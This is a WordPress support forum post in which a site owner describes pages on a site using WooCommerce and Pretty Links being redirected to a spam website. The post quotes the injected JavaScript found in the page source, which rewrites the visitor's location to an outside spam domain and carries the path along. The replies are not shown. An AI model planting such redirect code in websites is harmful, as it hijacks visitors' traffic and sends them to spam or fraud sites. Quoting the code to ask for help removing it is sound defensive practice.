JavaScript redirection
-
For some reason, with WooCommerce enabled, my pretty links always redirect to this spam website. It only happens with pretty-links and WooCommerce enabled. I’ve searched the database and all code for the name of the site and cannot find the source of the redirect. I know it’s JavaScript based because I viewed the source in Chrome using “view-source:https://atrsports.com/blahblah/” in the address bar. This happens all all computers I’ve tested with.
Here’s the code appearing:
var pathArray = location.pathname.split('/'); var ap = "/"; for(var i=1; i<pathArray.length-1; i++) { ap += pathArray[i] + "/"; } window.location.replace("https://mscdailynews.com/?" + ap);
Anyone have any idea how to locate this garbage?
Viewing 3 replies - 1 through 3 (of 3 total)
Viewing 3 replies - 1 through 3 (of 3 total)
- The topic ‘JavaScript redirection’ is closed to new replies.